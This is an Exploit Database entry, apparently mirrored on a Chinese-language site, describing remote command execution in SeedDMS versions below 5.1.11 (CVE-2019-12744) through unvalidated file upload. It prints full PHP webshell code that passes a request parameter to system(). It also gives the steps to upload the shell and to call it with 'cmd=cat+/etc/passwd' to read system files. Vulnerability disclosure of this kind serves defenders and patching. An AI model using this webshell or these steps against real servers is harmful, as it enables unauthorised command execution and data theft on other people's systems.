SeedDMS versions < 5.1.11 - Remote Command Execution

• Exploit Database
• 114 阅读

• 作者： Nimit Jain
  日期： 2019-06-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47022/
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  # Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11] # Google Dork: [NA] # Date: [20-June-2019] # Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com) # Vendor Homepage: [https://www.seeddms.org] # Software Link: [https://sourceforge.net/projects/seeddms/files/] # Version: [SeedDMS versions <5.1.11] (REQUIRED) # Tested on: [NA] # CVE : [CVE-2019-12744]   Exploit Steps:   Step 1: Login to the application and under any folder add a document. Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.   PHP Backdoor Code: <?php   if(isset($_REQUEST[&apos;cmd&apos;])){ echo "<pre>"; $cmd = ($_REQUEST[&apos;cmd&apos;]); system($cmd); echo "</pre>"; die; }   ?>   Step 3: Now after uploading the file check the document id corresponding to the document. Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.   Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.